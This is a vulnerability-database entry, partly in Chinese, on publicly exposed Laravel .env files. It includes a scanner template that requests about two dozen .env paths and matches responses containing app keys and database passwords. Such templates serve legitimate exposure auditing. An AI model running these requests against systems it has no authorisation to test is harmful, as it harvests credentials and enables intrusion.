laravel-env: Laravel - Sensitive Information Disclosure

日期: 2025-08-01 | 影响软件: laravel | POC: 已公开

漏洞描述

A Laravel .env file was discovered, which stores sensitive information like database credentials and tokens. It should not be publicly accessible.

PoC代码[已公开]

id: laravel-env

info:
  name: Laravel - Sensitive Information Disclosure
  author: pxmme1337,dwisiswant0,geeknik,emenalf,adrianmf
  severity: high
  description: |
    A Laravel .env file was discovered, which stores sensitive information like database credentials and tokens. It should not be publicly accessible.
  reference:
    - https://laravel.com/docs/master/configuration#environment-configuration
    - https://stackoverflow.com/questions/38331397/how-to-protect-env-file-in-laravel
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 22
  tags: config,exposure,laravel,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - "/.env"
        - "/.env.bak"
        - "/.env.dev"
        - "/.env.dev.local"
        - "/.env.development.local"
        - "/.env.prod"
        - "/.env.prod.local"
        - "/.env.production"
        - "/.env.production.local"
        - "/.env.local"
        - "/.env.example"
        - "/.env.stage"
        - "/.env.live"
        - "/.env.backup"
        - "/.env.save"
        - "/.env.old"
        - "/.env.www"
        - "/.env_1"
        - "/.env_sample"
        - "/.env.{{DN}}"
        - "/.env.{{SD}}"
        - "/api/.env"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "(?mi)^APP_(NAME|ENV|KEY|DEBUG|URL|PASSWORD)="
          - "(?mi)^DB_(HOST|PASSWORD|DATABASE)="
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a004730450220169e0603435dc98336b63a659a8fe07d2e0d75c5c057f43b4e578bd3f019e460022100bc28973629221daa3578891e677081589b810cef4fb4be3d4da6c17b9a7c263f:922c64590222798bb761d5b6d8e72950

相关漏洞推荐